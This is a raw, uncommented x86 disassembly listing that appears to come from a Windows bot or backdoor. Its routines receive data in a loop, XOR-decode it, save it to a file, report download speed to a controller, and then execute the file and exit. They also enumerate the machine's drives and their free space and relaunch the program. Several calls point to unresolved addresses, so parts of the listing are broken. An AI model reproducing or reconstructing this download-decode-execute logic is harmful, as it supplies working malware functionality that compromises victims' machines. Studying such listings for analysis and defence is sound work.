loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------


loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h


loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43F664
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------


loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43F700
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		nop
		call	near ptr 25E02EAh


loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h


loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h


loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx


loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43F700


loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+3820o
					; sub_40EE72+3F6Fo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F578
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	near ptr 2630000h
		nop
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		nop
		call	near ptr 25E08E4h
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43F580
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx


loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2620000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]


loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB


loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------


loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C


loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2


loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 25E08E4h
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2611A31h
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43F5DC
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C80C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	near ptr 274056Fh
		nop
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43F5C8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390


loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43F69C
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF


loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_443A38
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------


loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi


loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------


loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6C8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------


loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43F564
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------


loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------


loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h


loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------


loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43F5D8
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43F5D8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399


loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h


loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365


loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi


loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4450CC
		call	dword_43F700
		call	sub_416F25
		call	dword_43F5C8
		call	dword_43F5C8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C80C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 25F048Fh
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 274056Fh
		nop
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443A70
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB


loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
